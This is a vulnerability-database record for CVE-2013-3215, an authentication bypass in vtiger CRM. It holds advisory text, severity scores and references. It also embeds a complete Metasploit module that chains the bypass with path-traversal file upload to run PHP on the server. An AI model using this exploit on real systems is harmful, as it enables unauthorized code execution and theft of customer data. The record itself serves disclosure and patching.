ID

VAR-202001-0887


CVE

CVE-2013-3215


TITLE

vtiger CRM  Vulnerabilities in authentication

Trust: 0.8

sources: JVNDB: JVNDB-2013-007109

DESCRIPTION

vtiger CRM 5.4.0 and earlier contain an Authentication Bypass Vulnerability due to improper authentication validation in the validateSession function. vtiger CRM Contains an authentication vulnerability.Information is acquired, information is falsified, and denial of service (DoS) May be in a state. vtiger CRM is prone to an authentication-bypass vulnerability. An attacker can exploit this issue to bypass the authentication mechanism and perform unauthorized actions. This may aid in further attacks. vtiger CRM 5.4.0 and prior are vulnerable. Vtiger CRM is a customer relationship management system (CRM) based on SugarCRM developed by American Vtiger Company. The management system provides functions such as management, collection, and analysis of customer information. [-] Vulnerability Description: The vulnerable code is located in the validateSession() function, which is defined in multiple SOAP services: function validateSession($username, $sessionid) { global $adb,$current_user; $adb->println("Inside function validateSession($username, $sessionid)"); require_once("modules/Users/Users.php"); $seed_user = new Users(); $id = $seed_user->retrieve_user_id($username); $server_sessionid = getServerSessionId($id); $adb->println("Checking Server session id and customer input session id ==> $server_sessionid == $sessionid"); if($server_sessionid == $sessionid) { $adb->println("Session id match. Authenticated to do the current operation."); return true; } else { $adb->println("Session id does not match. Not authenticated to do the current operation."); return false; } } The vulnerability exists because the "sessionid" parameter isn't properly validated before being compared with the $server_sessionid variable, which is the value returned by the getServerSessionId() function. If called with an invalid session ID, then this function will return "null", in this case the validateSession() will return "true" if the "sessionid" parameter is set to 0, "false", or "null". by calling a SOAP method without providing the "username" and "sessionid" parameters. [-] Solution: Apply the vendor patch:http://www.vtiger.com/blogs/?p=1467 [-] Disclosure Timeline: [13/01/2013] - Vendor notified [06/02/2013] - Vendor asked feedback abouthttp://trac.vtiger.com/cgi-bin/trac.cgi/changeset/13848 [05/03/2013] - Feedback provided to the vendor [26/03/2013] - Vendor patch released [18/04/2013] - CVE number requested [20/04/2013] - CVE number assigned [01/08/2013] - Public disclosure [-] CVE Reference: The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CVE-2013-3215 to this vulnerability. [-] Credits: Vulnerability discovered by Egidio Romano. [-] Original Advisory: http://karmainsecurity.com/KIS-2013-08 . ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rexml/document' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include REXML include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'vTiger CRM SOAP AddEmailAttachment Arbitrary File Upload', 'Description' => %q{ vTiger CRM allows an user to bypass authentication when requesting SOAP services. In addition, arbitrary file upload is possible through the AddEmailAttachment SOAP service. By combining both vulnerabilities an attacker can upload and execute PHP code. This module has been tested successfully on vTiger CRM v5.4.0 over Ubuntu 10.04 and Windows 2003 SP2. }, 'Author' => [ 'Egidio Romano', # Vulnerability discovery 'juan vazquez' # msf module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2013-3214' ], [ 'CVE', '2013-3215' ], [ 'OSVDB', '95902' ], [ 'OSVDB', '95903' ], [ 'BID', '61558' ], [ 'BID', '61559' ], [ 'EDB', '27279' ], [ 'URL', 'http://karmainsecurity.com/KIS-2013-07' ], [ 'URL', 'http://karmainsecurity.com/KIS-2013-08' ] ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Payload' => { # Arbitrary big number. The payload is sent base64 encoded # into a POST SOAP request 'Space' => 262144, # 256k 'DisableNops' => true }, 'Targets' => [ [ 'vTigerCRM v5.4.0', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Mar 26 2013')) register_options( [ OptString.new('TARGETURI', [ true, "Base vTiger CRM directory path", '/vtigercrm/']) ], self.class) end def check test_one = check_email_soap("admin", rand_text_alpha(4 + rand(4))) res = send_soap_request(test_one) unless res and res.code == 200 and res.body.to_s =~ /<return xsi:nil="true" xsi:type="xsd:string"\/>/ return Exploit::CheckCode::Unknown end test_two = check_email_soap("admin") res = send_soap_request(test_two) if res and res.code == 200 and (res.body.blank? or res.body.to_s =~ /<return xsi:type="xsd:string">.*<\/return>/) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit file_name = rand_text_alpha(rand(10)+6) + '.php' php = %Q|<?php #{payload.encoded} ?>| soap = add_attachment_soap(file_name, php) res = send_soap_request(soap) print_status("#{peer} - Uploading payload...") if res and res.code == 200 and res.body.to_s =~ /<return xsi:type="xsd:string">.*<\/return>/ print_good("#{peer} - Upload successfully uploaded") register_files_for_cleanup(file_name) else fail_with(Failure::Unknown, "#{peer} - Upload failed") end print_status("#{peer} - Executing payload...") send_request_cgi({'uri' => normalize_uri(target_uri.path, 'soap', file_name)}, 0) end def add_attachment_soap(file_name, file_data) xml = Document.new xml.add_element( "soapenv:Envelope", { 'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance", 'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema", 'xmlns:soapenv' => "http://schemas.xmlsoap.org/soap/envelope/", 'xmlns:crm' => "http://www.vtiger.com/products/crm" }) xml.root.add_element("soapenv:Header") xml.root.add_element("soapenv:Body") body = xml.root.elements[2] body.add_element( "crm:AddEmailAttachment", { 'soapenv:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/" }) crm = body.elements[1] crm.add_element("emailid", {'xsi:type' => 'xsd:string'}) crm.add_element("filedata", {'xsi:type' => 'xsd:string'}) crm.add_element("filename", {'xsi:type' => 'xsd:string'}) crm.add_element("filesize", {'xsi:type' => 'xsd:string'}) crm.add_element("filetype", {'xsi:type' => 'xsd:string'}) crm.add_element("username", {'xsi:type' => 'xsd:string'}) crm.add_element("session", {'xsi:type' => 'xsd:string'}) crm.elements['emailid'].text = rand_text_alpha(4+rand(4)) crm.elements['filedata'].text = "MSF_PAYLOAD" crm.elements['filename'].text = "MSF_FILENAME" crm.elements['filesize'].text = file_data.length.to_s crm.elements['filetype'].text = "php" crm.elements['username'].text = rand_text_alpha(4+rand(4)) xml_string = xml.to_s xml_string.gsub!(/MSF_PAYLOAD/, Rex::Text.encode_base64(file_data)) xml_string.gsub!(/MSF_FILENAME/, "../../../../../../#{file_name}") return xml_string end def check_email_soap(user_name = "", session = "") xml = Document.new xml.add_element( "soapenv:Envelope", { 'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance", 'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema", 'xmlns:soapenv' => "http://schemas.xmlsoap.org/soap/envelope/", 'xmlns:crm' => "http://www.vtiger.com/products/crm" }) xml.root.add_element("soapenv:Header") xml.root.add_element("soapenv:Body") body = xml.root.elements[2] body.add_element( "crm:CheckEmailPermission", { 'soapenv:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/" }) crm = body.elements[1] crm.add_element("username", {'xsi:type' => 'xsd:string'}) crm.add_element("session", {'xsi:type' => 'xsd:string'}) crm.elements['username'].text = user_name crm.elements['session'].text = session xml.to_s end def send_soap_request(soap_data) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'soap', 'vtigerolservice.php'), 'method' => 'POST', 'ctype' => 'text/xml; charset=UTF-8', 'data' => soap_data }) return res end end

Trust: 2.16

sources: NVD: CVE-2013-3215 // JVNDB: JVNDB-2013-007109 // BID: 61559 // VULHUB: VHN-63217 // PACKETSTORM: 122648 // PACKETSTORM: 124698

AFFECTED PRODUCTS

vendor:vtigermodel:crmscope:lteversion:5.4.0

Trust: 1.8

vendor:vtigermodel:crmscope:gteversion:5.1.0

Trust: 1.0

vendor:vtigermodel:crmscope:eqversion: -

Trust: 0.8

vendor:vtigermodel:crmscope:eqversion:5.3

Trust: 0.3

vendor:vtigermodel:crmscope:eqversion:5.2.1

Trust: 0.3

vendor:vtigermodel:crmscope:eqversion:5.2

Trust: 0.3

vendor:vtigermodel:crmscope:eqversion:5.1

Trust: 0.3

vendor:vtigermodel:crmscope:eqversion:5.0.4

Trust: 0.3

vendor:vtigermodel:crmscope:eqversion:5.0.3

Trust: 0.3

vendor:vtigermodel:crm rcscope:eqversion:5.0.4

Trust: 0.3

sources: BID: 61559 // JVNDB: JVNDB-2013-007109 // NVD: CVE-2013-3215

CVSS

SEVERITY

CVSSV2

CVSSV3

nvd@nist.gov: CVE-2013-3215
value: CRITICAL

Trust: 1.0

NVD: CVE-2013-3215
value: CRITICAL

Trust: 0.8

VULHUB: VHN-63217
value: HIGH

Trust: 0.1

nvd@nist.gov: CVE-2013-3215
severity: HIGH
baseScore: 7.5
vectorString: AV:N/AC:L/AU:N/C:P/I:P/A:P
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: PARTIAL
exploitabilityScore: 10.0
impactScore: 6.4
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 1.8

VULHUB: VHN-63217
severity: HIGH
baseScore: 7.5
vectorString: AV:N/AC:L/AU:N/C:P/I:P/A:P
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: PARTIAL
exploitabilityScore: 10.0
impactScore: 6.4
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.1

nvd@nist.gov: CVE-2013-3215
baseSeverity: CRITICAL
baseScore: 9.8
vectorString: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: NONE
userInteraction: NONE
scope: UNCHANGED
confidentialityImpact: HIGH
integrityImpact: HIGH
availabilityImpact: HIGH
exploitabilityScore: 3.9
impactScore: 5.9
version: 3.1

Trust: 1.0

NVD: CVE-2013-3215
baseSeverity: CRITICAL
baseScore: 9.8
vectorString: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: NONE
userInteraction: NONE
scope: UNCHANGED
confidentialityImpact: HIGH
integrityImpact: HIGH
availabilityImpact: HIGH
exploitabilityScore: NONE
impactScore: NONE
version: 3.0

Trust: 0.8

sources: VULHUB: VHN-63217 // JVNDB: JVNDB-2013-007109 // NVD: CVE-2013-3215

PROBLEMTYPE DATA

problemtype:CWE-287

Trust: 1.1

problemtype:Incorrect authentication (CWE-287) [NVD Evaluation ]

Trust: 0.8

sources: VULHUB: VHN-63217 // JVNDB: JVNDB-2013-007109 // NVD: CVE-2013-3215

THREAT TYPE

remote

Trust: 0.6

sources: CNNVD: CNNVD-201308-010

TYPE

authorization issue

Trust: 0.6

sources: CNNVD: CNNVD-201308-010

EXPLOIT AVAILABILITY

sources: VULHUB: VHN-63217

PATCH

title:Top Pageurl:http://vtiger-crm.2324883.n4.nabble.com/

Trust: 0.8

title:Vtiger CRM validateSession() Fixes for authentication bypass vulnerabilityurl:http://www.cnnvd.org.cn/web/xxk/bdxqById.tag?id=109037

Trust: 0.6

sources: JVNDB: JVNDB-2013-007109 // CNNVD: CNNVD-201308-010

EXTERNAL IDS

db:NVDid:CVE-2013-3215

Trust: 3.0

db:BIDid:61559

Trust: 2.0

db:JVNDBid:JVNDB-2013-007109

Trust: 0.8

db:CNNVDid:CNNVD-201308-010

Trust: 0.7

db:PACKETSTORMid:122648

Trust: 0.2

db:EXPLOIT-DBid:27279

Trust: 0.1

db:VULHUBid:VHN-63217

Trust: 0.1

db:PACKETSTORMid:124698

Trust: 0.1

sources: VULHUB: VHN-63217 // BID: 61559 // JVNDB: JVNDB-2013-007109 // PACKETSTORM: 122648 // PACKETSTORM: 124698 // CNNVD: CNNVD-201308-010 // NVD: CVE-2013-3215

REFERENCES

url:https://exchange.xforce.ibmcloud.com/vulnerabilities/86163

Trust: 2.5

url:http://www.securityfocus.com/bid/61559

Trust: 1.7

url:https://nvd.nist.gov/vuln/detail/cve-2013-3215

Trust: 1.6

url:http://www.vtiger.com/

Trust: 0.4

url:http://trac.vtiger.com/cgi-bin/trac.cgi/changeset/13848

Trust: 0.1

url:http://karmainsecurity.com/kis-2013-08

Trust: 0.1

url:http://www.vtiger.com/blogs/?p=1467

Trust: 0.1

url:http://karmainsecurity.com/kis-2013-08'

Trust: 0.1

url:http://www.w3.org/2001/xmlschema",

Trust: 0.1

url:http://schemas.xmlsoap.org/soap/encoding/"

Trust: 0.1

url:https://github.com/rapid7/metasploit-framework

Trust: 0.1

url:http://www.w3.org/2001/xmlschema-instance",

Trust: 0.1

url:http://schemas.xmlsoap.org/soap/envelope/",

Trust: 0.1

url:http://karmainsecurity.com/kis-2013-07'

Trust: 0.1

url:https://nvd.nist.gov/vuln/detail/cve-2013-3214

Trust: 0.1

url:http://www.vtiger.com/products/crm"

Trust: 0.1

sources: VULHUB: VHN-63217 // BID: 61559 // JVNDB: JVNDB-2013-007109 // PACKETSTORM: 122648 // PACKETSTORM: 124698 // CNNVD: CNNVD-201308-010 // NVD: CVE-2013-3215

CREDITS

Egidio Romano

Trust: 0.9

sources: BID: 61559 // CNNVD: CNNVD-201308-010

SOURCES

db:VULHUBid:VHN-63217
db:BIDid:61559
db:JVNDBid:JVNDB-2013-007109
db:PACKETSTORMid:122648
db:PACKETSTORMid:124698
db:CNNVDid:CNNVD-201308-010
db:NVDid:CVE-2013-3215

LAST UPDATE DATE

2024-08-14T13:25:07.543000+00:00


SOURCES UPDATE DATE

db:VULHUBid:VHN-63217date:2020-01-31T00:00:00
db:BIDid:61559date:2014-01-09T00:40:00
db:JVNDBid:JVNDB-2013-007109date:2020-02-13T00:00:00
db:CNNVDid:CNNVD-201308-010date:2020-05-29T00:00:00
db:NVDid:CVE-2013-3215date:2020-01-31T19:54:10.247

SOURCES RELEASE DATE

db:VULHUBid:VHN-63217date:2020-01-29T00:00:00
db:BIDid:61559date:2013-08-01T00:00:00
db:JVNDBid:JVNDB-2013-007109date:2020-02-13T00:00:00
db:PACKETSTORMid:122648date:2013-08-02T03:11:59
db:PACKETSTORMid:124698date:2014-01-07T04:14:36
db:CNNVDid:CNNVD-201308-010date:2013-08-02T00:00:00
db:NVDid:CVE-2013-3215date:2020-01-29T18:15:12.077